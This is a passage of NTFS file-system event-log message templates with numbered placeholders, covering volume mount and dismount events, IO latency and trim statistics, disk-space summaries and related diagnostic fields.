into memory.%n%n Volume Id: %1%n Volume name: %3%n%n File reference: %4%n File name: %6%n%n Reason: %7%n VCB exclusive resource acquires:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Interval duration: %18%n%n Acquire count: %19%n Max wait duration: %20 ms%n Avg wait duration: %21 ms%n Max hold duration: %22 ms%n Avg hold duration: %23 ms%n Max combined duration: %24 ms%n Avg combined duration: %25 ms%n%n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n An exclusive resource duration exceeded %5 ms:%n%n Process Id: %6%n Process name: %7%n Major function: %8%n Minor function: %9%n Control code: %10%n Resource name: %11%n Wait duration: %12 ms%n Hold duration: %13 ms%n Combined duration: %14 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %15%n Device manufacturer: %17%n Device model: %19%n Device revision: %21%n Device serial number: %23%n Bus type: %24%n%n Adapter serial number: %26%n NTFS metadata statistics for volume:%n%n Volume Id: %1%n Volume name: %3%n%n UserFileReads: %4%n UserFileReadBytes: %5%n UserDiskReads: %6%n UserFileWrites: %7%n UserFileWriteBytes: %8%n UserDiskWrites: %9%n%n MetaDataReads: %10%n MetaDataReadBytes: %11%n MetaDataDiskReads: %12%n MetaDataWrites: %13%n MetaDataWriteBytes: %14%n MetaDataDiskWrites: %15%n%n MftReads: %16%n MftReadBytes: %17%n MftWrites: %18%n MftWriteBytes: %19%n Mft2Writes: %20%n Mft2WriteBytes: %21%n RootIndexReads: %22%n RootIndexReadBytes: %23%n RootIndexWrites: %24%n RootIndexWriteBytes: %25%n BitmapReads: %26%n BitmapReadBytes: %27%n BitmapWrites: %28%n BitmapWriteBytes: %29%n MftBitmapReads: %30%n MftBitmapReadBytes: %31%n MftBitmapWrites: %32%n MftBitmapWriteBytes: %33%n UserIndexReads: %34%n UserIndexReadBytes: %35%n UserIndexWrites: %36%n UserIndexWriteBytes: %37%n LogFileReads: %38%n LogFileReadBytes: %39%n LogFileWrites: %40%n LogFileWriteBytes: %41%n LogFileFull: %42%n LogFileFullReasons:%n LF_LOG_SPACE: %43%n LF_DIRTY_PAGES: %44%n LF_OPEN_ATTRIBUTES: %45%n LF_TRANSACTION_DRAIN: %46%n LF_FASTIO_CALLBACK: %47%n LF_DEALLOCATED_CLUSTERS: %48%n LF_DEALLOCATED_CLUSTERS_MEM: %49%n LF_RECORD_STACK_CHECK: %50%n LF_DISMOUNT: %51%n LF_COMPRESSION: %52%n LF_SNAPSHOT: %53%n LF_MOUNT: %54%n LF_SHUTDOWN: %55%n LF_RECURSIVE_COMPRESSION: %56%n LF_TESTING: %57%n%n DiskResourceFailure: %58%n VolumeTrimCount: %59%n VolumeTrimTime (ms): %60%n VolumeTrimSize (KB): %61%n AvgVolumeTrimTime (ms): %62%n AvgVolumeTrimSize (KB): %63%n VolumeTrimSkippedCount: %64%n VolumeTrimSkippedSize (KB): %65%n FileLevelTrimCount: %66%n FileLevelTrimTime (ms): %67%n FileLevelTrimSize (KB): %68%n AvgFileLevelTrimTime (ms): %69%n AvgFileLevelTrimSize (KB): %70%n NtfsFillStatInfoFromMftRecordCalledCount: %71%n NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: %72%n NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: %73%n NTFS has successfully completed the %19 request in %20 ms when trying to %18 the volume size from %4 (MB) to %5 (MB).%n%n Volume Id: %1%n Volume name: %3%n%n Device GUID: %6%n Device manufacturer: %8%n Device model: %10%n Device revision: %12%n Device serial number: %14%n Bus type: %15%n%n Adapter serial number: %17%n%n Operation: %18%n Request Type: %19%n%n Stage Durations:%n Stage 1. Verify input and calculate new volume size (ms): %21%n Stage 2. Set boundary and allocate/deallocate cluster (ms): %22%n Stage 3. Update bitmap (ms): %23%n NTFS has failed to complete the %19 request after %20 ms when trying to %18 the volume size from %4 (MB) to %5 (MB).%n%n Volume Id: %1%n Volume name: %3%n%n Device GUID: %6%n Device manufacturer: %8%n Device model: %10%n Device revision: %12%n Device serial number: %14%n Bus type: %15%n%n Adapter serial number: %17%n%n Operation: %18%n Request Type: %19%n%n Stage Durations:%n Stage 1. Verify input and calculate new volume size (ms): %21%n Stage 2. Set boundary and allocate/deallocate cluster (ms): %22%n Stage 3. Update bitmap (ms): %23%n%n Failure Stage: %24%n Status Code: %25%n Failure Reason: %26%n An operation has failed due to a file system limitation.%n%n Reason: %1%n Volume Id: %3%n Volume Name: %4%n File Path: %5%n The data read from the storage does not match what was previously written or read.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n Device name: %7%n File reference: %8%n File name: %10%n Attribute type code: %11%n Attribute name: %13%n File offset: %14%n Volume offset: %15%n Length: %16%n Called from worker: %17%n Livedump worker status: %18%n MftBitmap is not big enough for MftData or does not have required allocations.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n Device name: %7%n Mft data allocation size: %20%n Mft data file size: %21%n Mft bitmap allocation size: %22%n Mft bitmap file size: %23%n Bytes per FRS: %24%n Mft data attribute allocation size: %25%n Mft data attribute file size: %26%n Mft bitmap attribute highest Vcn: %27%n Mft bitmap attribute allocation size: %28%n Mft bitmap attribute file size: %29%n Last data and bitmap attribute record in Mft are in same FRS: %30%n Called from worker: %31%n Livedump worker status: %32%n Major function: %33%n Minor function: %34%n Source tag: %35%n NtfsLogFileFull VolumeId: %1, Reason: %2 PeriodicCheckpointStart VolumeId: %1, Reason: %2, Usage: %3% PeriodicCheckpointComplete VolumeId: %1, DirtyMetaDataPages: %2 CleanCheckpointStart VolumeId: %1, Reason: %2, Usage: %3% CleanCheckpointComplete VolumeId: %1, DirtyMetaDataPages: %2 MftRecordRead VolumeId: %1, BaseFileId: %2, FileId: %3, CacheHit: %4 MftRecordRead VolumeId: %1, BaseFileId: %2, FileId: %3 WorkItem queued, WorkItem: %1, Reason: %2 WorkItem queue failed, WorkItem: %1, Reason: %2, Error: %3 WorkItem started, WorkItem: %1, Reason: %2 WorkItem completed, WorkItem: %1, Reason: %2 File metadata optimization started.%n%n Volume guid: %1%n Volume name: %3%n File reference: %4%n File metadata optimization completed.%n%n Volume guid: %1%n Volume name: %3%n File reference: %4%n NTFS volume dismount has started.%n%n Volume GUID: %4%n Volume Name: %6%n Volume Label: %8%n NTFS has sent volume dismount event notification and is waiting for the notifications to complete. The volume dismount event notification on the NTFS volume has completed. The NTFS volume has successfully dismounted.%n%n Volume GUID: %4%n Volume Name: %6%n Volume Label: %8%n The NTFS volume dismount failed.%n%n Error:%1%n NTFS failed to mount the volume.%n%n Error: %1%n Volume GUID: %2%n Volume Name: %4%n Efs offloading initiated.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n Efs offloading read regular file.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n Efs offloading write regular file.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n Efs legacy initiated.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n Efs legacy read regular file.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n Efs legacy write regular file.%n%n Volume serial: %1%n File reference: %2%n File name: %4%n A process has created a USN journal on a volume.%n%n Process: %1%n Volume Id: %2%n Volume Name: %4%n Journal Id: %5%n Maximum Size: %6%n Allocation Delta: %7%n A process has deleted a USN journal on a volume.%n%n Process: %1%n Volume Id: %2%n Volume Name: %4%n Journal Id: %5%n Current USN: %6%n File has been opened by an isolated reader. The NTFS volume has been successfully mounted.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n%n Adapter serial number: %19%n %n Total mount duration: %22%n Longest stage: %23. Duration %24 (%25% of the total)%n Second longest stage: %26. Duration %27 (%28% of the total)%n Volume restart applied: %29%n NTFS KSR data restored successfully.%n%n Volume GUID: %4%n Device Name: %3%n%n NTFS KSR version: %5%n Number of runs restored: %6%n Time to restore (ms): %7%n NTFS KSR data restore failed.%n%n Volume GUID: %4%n Device Name: %3%n Error: %6%n Failure Status: %7 Source Tag: %8 NTFS scanned entire volume bitmap.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Native NVMe: %18%n%n Adapter serial number: %20%n%n Duration (micro seconds): %21%n InputFlags: %22%n Reason: %23%n Flags: %24%n NTFS cached runs statistics.%n%n Volume correlation Id: %1%n Volume name: %2%n Volume label: %3%n%n Device name: %4%n Device GUID: %5%n Device manufacturer: %6%n Device model: %7%n Device revision: %8%n Device serial number: %9%n Bus type: %10%n%n Adapter serial number: %11%n%n Capacity tier name: %12%n Media type: %13%n Runs cached: %14%n Longest run cached: %16%n Most populated bin Count: %17%n Most populated bin's minimum length: %19%n Most populated bin's maximum length: %21%n Performance tier name: %30%n Media type: %31%n Runs cached: %32%n Longest run cached: %34%n Most populated bin Count: %35%n Most populated bin's minimum length: %37%n Most populated bin's maximum length: %39%n NTFS KSR data prepared successfully.%n%n Volume GUID: %4%n Device Name: %3%n%n NTFS KSR version: %5%n Number of runs prepared: %6%n Time to prepare (ms): %7%n NTFS KSR data prepare failed.%n%n Volume GUID: %4%n Device Name: %3%n Error: %6%n Failure Status: %7 Source Tag: %8 NTFS KSR data filled successfully.%n%n Volume GUID: %4%n Device Name: %3%n%n NTFS KSR version: %5%n Number of runs filled: %6%n Time to fill (ms): %7%n NTFS KSR data fill failed.%n%n Volume GUID: %4%n Device Name: %3%n Error: %6%n Failure Status: %7 Source Tag: %8 Summary of disk space usage, since last event:%n%n Available space was between %6 and %7%n Change in available space: %8%n %n Available clusters were between: %9 and %10%n Reserved clusters were between: %13 and %14%n Txf abort reserved clusters were between: %15 and %16%n %n Elapsed seconds: %5%n %n Pagefile size: %18%n Volume size: %20%n Bytes per cluster: %21%n %n Volume guid: %1%n Volume name: %3%n Is boot volume: %4%n VCB exclusive resource acquires:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Interval duration: %19%n%n Acquire count: %20%n Max wait duration: %21 ms%n Avg wait duration: %22 ms%n Max hold duration: %23 ms%n Avg hold duration: %24 ms%n Max combined duration: %25 ms%n Avg combined duration: %26 ms%n%n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n Native NVMe: %15%n %n Adapter serial number: %17%n %n For more details see the details tab.%n An exclusive resource duration exceeded %5 ms:%n%n Process Id: %6%n Process name: %7%n Major function: %8%n Minor function: %9%n Control code: %10%n Resource name: %11%n Wait duration: %12 ms%n Hold duration: %13 ms%n Combined duration: %14 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %15%n Device manufacturer: %17%n Device model: %19%n Device revision: %21%n Device serial number: %23%n Bus type: %24%n Native NVMe: %25%n%n Adapter serial number: %27%n NTFS has successfully completed the %20 request in %21 ms when trying to %19 the volume size from %4 (MB) to %5 (MB).%n%n Volume Id: %1%n Volume name: %3%n%n Device GUID: %6%n Device manufacturer: %8%n Device model: %10%n Device revision: %12%n Device serial number: %14%n Bus type: %15%n Native NVMe: %16%n%n Adapter serial number: %18%n%n Operation: %19%n Request Type: %20%n%n Stage Durations:%n Stage 1. Verify input and calculate new volume size (ms): %22%n Stage 2. Set boundary and allocate/deallocate cluster (ms): %23%n Stage 3. Update bitmap (ms): %24%n NTFS has failed to complete the %20 request after %21 ms when trying to %19 the volume size from %4 (MB) to %5 (MB).%n%n Volume Id: %1%n Volume name: %3%n%n Device GUID: %6%n Device manufacturer: %8%n Device model: %10%n Device revision: %12%n Device serial number: %14%n Bus type: %15%n Native NVMe: %16%n%n Adapter serial number: %18%n%n Operation: %19%n Request Type: %20%n%n Stage Durations:%n Stage 1. Verify input and calculate new volume size (ms): %22%n Stage 2. Set boundary and allocate/deallocate cluster (ms): %23%n Stage 3. Update bitmap (ms): %24%n%n Failure Stage: %25%n Status Code: %26%n Failure Reason: %27%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %20%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %22%n High Latency IOs: %23%n %n IO count: %24%n Avg IOPS: %25%n Avg latency: %27%n %n Latency buckets: [%28]%n IO count buckets: [%29, %30, %31, %32, %33, %34, %35, %36, %37, %38, %39, %40]%n Total time buckets (ns): [%41, %42, %43, %44, %45, %46, %47, %48, %49, %50, %51, %52]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n NTFS volume dismount has started.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n %n Adapter serial number: %19%n %n Process Id: %21%n Process name: %22%n %n Reason: %23%n The NTFS volume has successfully dismounted.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n%n Adapter serial number: %19%n %n Process Id: %21%n Process name: %22%n %n Reason: %23%n The NTFS volume dismount failed.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n %n Adapter serial number: %19%n %n Error:%21%n NTFS failed to mount the volume.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n%n Adapter serial number: %19%n %n Error: %20%n The NTFS volume has been successfully mounted.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Device number: %18%n Boot partition: %19%n%n Adapter serial number: %21%n %n Total mount duration: %24%n Longest stage: %25. Duration %26 (%27% of the total)%n Second longest stage: %28. Duration %29 (%30% of the total)%n Volume restart applied: %31%n Summary of disk space usage, since last event:%n%n Available space was between %6 and %7%n Change in available space: %8%n %n Available clusters were between: %9 and %10%n Reserved clusters were between: %13 and %14%n Txf abort reserved clusters were between: %15 and %16%n %n Elapsed seconds: %5%n %n Pagefile size: %18%n Volume size: %20%n Bytes per cluster: %21%n %n Slab size: %23%n Slabs in use: %24%n Slabs required for volume: %25%n Thin provisioning map failures: %26%n %n Volume guid: %1%n Volume name: %3%n Is boot volume: %4%n Volume is thinly provisioned%n A %9 failed with %14.%nThis may indicate a failing disk.%n%n Process Id: %5%n Process name: %6%n File name: %8%n IO Size: %10 bytes%n File offset: %11%n %13 cluster(s) starting at cluster %12%n Latency: %15 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %16%n Device manufacturer: %18%n Device model: %20%n Device revision: %22%n Device serial number: %24%n Bus type: %25%n%n Adapter serial number: %27%n In the past %17 seconds we had high latency IOs and/or IO failures.%n%n High latency IO count: %18%n Failed writes: %19%n Failed reads: %20%n Bad clusters relocated: %21%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n%n Adapter serial number: %16%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %20%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %22%n High Latency IOs: %23%n %n IO count: %24%n Total bytes: %53%n Avg IOPS: %25%n Avg Bps: %54%n Avg latency: %27%n %n Latency buckets: [%28]%n IO count buckets: [%29, %30, %31, %32, %33, %34, %35, %36, %37, %38, %39, %40]%n Total time buckets (ns): [%41, %42, %43, %44, %45, %46, %47, %48, %49, %50, %51, %52]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n NTFS volume dismount has started.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Native NVMe: %18%n %n Adapter serial number: %20%n %n Process Id: %22%n Process name: %23%n %n Reason: %24%n The NTFS volume has successfully dismounted.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Native NVMe: %18%n%n Adapter serial number: %20%n %n Process Id: %22%n Process name: %23%n %n Reason: %24%n The NTFS volume dismount failed.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Native NVMe: %18%n %n Adapter serial number: %20%n %n Error:%22%n NTFS failed to mount the volume.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Device number: %18%n Boot partition: %19%n%n Adapter serial number: %21%n%n %n Error: %22%n Volume restart applied: %23%n The NTFS volume has been successfully mounted.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Device number: %18%n Boot partition: %19%n%n Native NVMe: %20%n%n Adapter serial number: %22%n %n Total mount duration: %25%n Longest stage: %26. Duration %27 (%28% of the total)%n Second longest stage: %29. Duration %30 (%31% of the total)%n Volume restart applied: %32%n Summary of disk space usage, since last event:%n%n Available space was between %6 and %7%n Change in available space: %8%n %n Available clusters were between: %9 and %10%n Reserved clusters were between: %13 and %14%n Txf abort reserved clusters were between: %15 and %16%n %n Elapsed seconds: %5%n %n Pagefile size: %18%n Volume size: %20%n Bytes per cluster: %21%n %n Volume guid: %1%n Volume name: %3%n Is boot volume: %4%n %n Cached runs miss counts:%n For MFT: %22%n For MFT zone: %23%n Everything else: %24%n IO latency summary:%n%n Volume Id: %2%n Volume name: %4%n Is boot volume: %5%n%n Device GUID: %7%n Device manufacturer: %9%n Device model: %11%n Device revision: %13%n Device serial number: %15%n Bus type: %16%n%n Adapter serial number: %18%n%n Max Acceptable IO Latency: %19 ms%n%n Read/Write latency buckets (ns): [%20, %21, %22, %23, %24, %25, %26]%n Trim latency buckets (ns): [%27, %28, %29, %30, %31, %32, %33]%n Flush latency buckets (ns): [%34, %35, %36, %37, %38, %39, %40]%n%n Interval duration: %42 us%n%n Non-cached reads:%n IO count: %43%n Total bytes: %44%n Avg latency: %45 ns%n%n Non-cached writes:%n IO count: %46%n Total bytes: %47%n Avg latency: %48 ns%n%n File flushes:%n IO count: %49%n Avg latency: %50 ns%n%n Directory flushes:%n IO count: %51%n Avg latency: %52 ns%n%n Volume flushes:%n IO count: %53%n Avg latency: %54 ns%n%n File level trims:%n IO count: %55%n Total bytes: %56%n Extents count: %57%n Avg latency: %58 ns%n%n Volume trims:%n IO count: %59%n Total bytes: %60%n Extents count: %61%n Avg latency: %62 ns%n%n VCB exclusive resource acquires:%n Acquire count: %71%n Max wait duration: %72 ms%n Avg wait duration: %73 ms%n Max hold duration: %74 ms%n Avg hold duration: %75 ms%n Max combined duration: %76 ms%n Avg combined duration: %77 ms%n%n For more details see the details tab.%n An IO took more than %5 ms to complete:%n%n Process Id: %6%n Process name: %7%n File name: %9%n File offset: %12%n IO Type: %10%n IO Size: %11 bytes%n %15 cluster(s) starting at cluster %14%n Latency: %13 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %16%n Device manufacturer: %18%n Device model: %20%n Device revision: %22%n Device serial number: %24%n Bus type: %25%n%n Adapter serial number: %27%n A %11 failed with %16.%nThis may indicate a failing disk.%n%n Process Id: %5%n Process name: %6%n File name: %8%n IO Size: %12 bytes%n File offset: %13%n %15 cluster(s) starting at cluster %14%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %17%n Device manufacturer: %19%n Device model: %21%n Device revision: %23%n Device serial number: %25%n Bus type: %26%n%n Adapter serial number: %28%n In the past %18 seconds we had high latency IOs and/or IO failures.%n%n High latency IO count: %19%n Failed writes: %20%n Failed reads: %21%n Bad clusters relocated: %22%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n Native NVMe: %15%n%n Adapter serial number: %17%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %20%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %22%n High Latency IOs: %23%n %n IO count: %24%n Total bytes: %53%n Total extents: %67%n Avg IOPS: %25%n Avg Bps: %54%n Avg latency: %27%n %n Latency buckets: [%28]%n IO count buckets: [%29, %30, %31, %32, %33, %34, %35, %36, %37, %38, %39, %40]%n Total time buckets (ns): [%41, %42, %43, %44, %45, %46, %47, %48, %49, %50, %51, %52]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n File-Level Trim Summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n Period duration (us): %5%n %n Operation count: %6%n Reposted operation count: %7%n Failed operation count: %8%n Operation range count: %9%n Operation byte count: %10%n Operation long range byte count %11%n Unaligned range count: %12%n Bytes in unaligned ranges: %13%n Operation trim extent count: %14%n Non-blocking aligned trim byte count: %15%n Reclaimed byte count: %16%n %n Byte count bucket values: [%18]%n %n Operation counts: [%19, %20, %21, %22, %23, %24, %25, %26, %27, %28, %29, %30]%n Operation byte counts: [%31, %32, %33, %34, %35, %36, %37, %38, %39, %40, %41, %42]%n Operation bytes reclaimed: [%43, %44, %45, %46, %47, %48, %49, %50, %51, %52, %53, %54]%n Operation latency (us): [%55, %56, %57, %58, %59, %60, %61, %62, %63, %64, %65, %67]%n %n Latency bucket values: [%68]%n %n Operation latency count: [%69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81, %82, %83]%n %n Top failure status codes and instance counts:%n %84 %85%n %86 %87%n %88 %89%n %90 %91%n %92 %93 NTFS failed to mount the volume.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Device number: %18%n Boot partition: %19%n Native NVMe: %20%n%n Adapter serial number: %22%n%n %n Error: %23%n Volume restart applied: %24%n Summary of disk space usage, since last event:%n%n Available space was between %6 and %7%n Change in available space: %8%n %n Available clusters were between: %9 and %10%n Reserved clusters were between: %13 and %14%n Txf abort reserved clusters were between: %15 and %16%n %n Elapsed seconds: %5%n %n Pagefile size: %18%n Volume size: %20%n Bytes per cluster: %21%n %n Slab size: %23%n Slabs in use: %24%n Slabs required for volume: %25%n Thin provisioning map failures: %26%n %n Volume guid: %1%n Volume name: %3%n Is boot volume: %4%n Volume is thinly provisioned%n %n Cached runs miss counts:%n For MFT: %27%n For MFT zone: %28%n Everything else: %29%n IO latency summary common data for volume:%n%n Volume Id: %2%n Volume name: %4%n Is boot volume: %5%n%n Device GUID: %7%n Device manufacturer: %9%n Device model: %11%n Device revision: %13%n Device serial number: %15%n Bus type: %16%n%n Adapter serial number: %18%n%n Max Acceptable IO Latency: %19 ms%n%n Read/Write latency buckets (ns): [%20, %21, %22, %23, %24, %25, %26]%n Trim latency buckets (ns): [%27, %28, %29, %30, %31, %32, %33]%n Flush latency buckets (ns): [%34, %35, %36, %37, %38, %39, %40]%n An IO took more than %5 ms to complete:%n%n Process Id: %6%n Process name: %7%n File name: %9%n File offset: %15%n IO Type: %13%n IO Size: %14 bytes%n %18 cluster(s) starting at cluster %17%n Latency: %16 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %19%n Device manufacturer: %21%n Device model: %23%n Device revision: %25%n Device serial number: %27%n Bus type: %28%n%n Adapter serial number: %30%n A %11 failed with %16.%nThis may indicate a failing disk.%n%n Process Id: %5%n Process name: %6%n File name: %8%n IO Size: %12 bytes%n File offset: %13%n %15 cluster(s) starting at cluster %14%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %17%n Device manufacturer: %19%n Device model: %21%n Device revision: %23%n Device serial number: %25%n Bus type: %26%n Native NVMe: %27%n%n Adapter serial number: %29%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %21%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %23%n High Latency IOs: %24%n %n IO count: %25%n Avg IOPS: %27%n Avg latency: %29%n Max latency: %31%n %n Latency buckets: [%32]%n IO count buckets: [%33, %34, %35, %36, %37, %38, %39, %40, %41, %42, %43, %44, %45, %46, %47, %48]%n Total time buckets (ns): [%49, %50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n An IO took more than %5 ms to complete:%n%n Process Id: %6%n Process name: %7%n File name: %9%n IO Type: %13%n Latency: %14 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %15%n Device manufacturer: %17%n Device model: %19%n Device revision: %21%n Device serial number: %23%n Bus type: %24%n%n Adapter serial number: %26%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %21%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %23%n High Latency IOs: %24%n %n IO count: %25%n Total bytes: %65%n Avg IOPS: %27%n Avg Bps: %66%n Avg latency: %29%n Max latency: %31%n %n Latency buckets: [%32]%n IO count buckets: [%33, %34, %35, %36, %37, %38, %39, %40, %41, %42, %43, %44, %45, %46, %47, %48]%n Total time buckets (ns): [%49, %50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64]%n Total bytes buckets: [%67, %68, %69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81, %82]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n An IO took more than %5 ms to complete:%n%n Process Id: %6%n Process name: %7%n File name: %9%n File offset: %15%n IO Type: %13%n IO Size: %14 bytes%n %18 cluster(s) starting at cluster %17%n Latency: %16 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %19%n Device manufacturer: %21%n Device model: %23%n Device revision: %25%n Device serial number: %27%n Bus type: %28%n Native NVMe: %29%n%n Adapter serial number: %31%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n %n IO type: %21%n %n Interval duration: %18%n %n Max Acceptable IO Latency: %23%n High Latency IOs: %24%n %n IO count: %25%n Total bytes: %65%n Total extents: %83%n Avg IOPS: %27%n Avg Bps: %66%n Avg latency: %29%n Max latency: %31%n %n Latency buckets: [%32]%n IO count buckets: [%33, %34, %35, %36, %37, %38, %39, %40, %41, %42, %43, %44, %45, %46, %47, %48]%n Total time buckets (ns): [%49, %50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64]%n Total bytes buckets: [%67, %68, %69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81, %82]%n %n Device GUID: %5%n Device manufacturer: %7%n Device model: %9%n Device revision: %11%n Device serial number: %13%n Bus type: %14%n %n Adapter serial number: %16%n %n For more details see the details tab.%n An IO took more than %5 ms to complete:%n%n Process Id: %6%n Process name: %7%n File name: %9%n IO Type: %13%n Latency: %14 ms%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Device GUID: %15%n Device manufacturer: %17%n Device model: %19%n Device revision: %21%n Device serial number: %23%n Bus type: %24%n Native NVMe: %25%n%n Adapter serial number: %27%n NTFS cached runs statistics.%n%n Volume correlation Id: %1%n Volume name: %2%n Volume label: %3%n%n Device name: %4%n Device GUID: %5%n Device manufacturer: %6%n Device model: %7%n Device revision: %8%n Device serial number: %9%n Bus type: %10%n Native NVMe: %11%n%n Adapter serial number: %12%n%n Media type: %13%n Runs cached: %14%n Longest run cached: %16%n Most populated bin Count: %17%n Most populated bin's minimum length: %19%n Most populated bin's maximum length: %21%n NTFS cached runs statistics.%n%n Volume correlation Id: %1%n Volume name: %2%n Volume label: %3%n%n Device name: %4%n Device GUID: %5%n Device manufacturer: %6%n Device model: %7%n Device revision: %8%n Device serial number: %9%n Bus type: %10%n Native NVMe: %11%n%n Adapter serial number: %12%n%n Capacity tier name: %13%n Media type: %14%n Runs cached: %15%n Longest run cached: %17%n Most populated bin Count: %18%n Most populated bin's minimum length: %20%n Most populated bin's maximum length: %22%n Performance tier name: %31%n Media type: %32%n Runs cached: %33%n Longest run cached: %35%n Most populated bin Count: %36%n Most populated bin's minimum length: %38%n 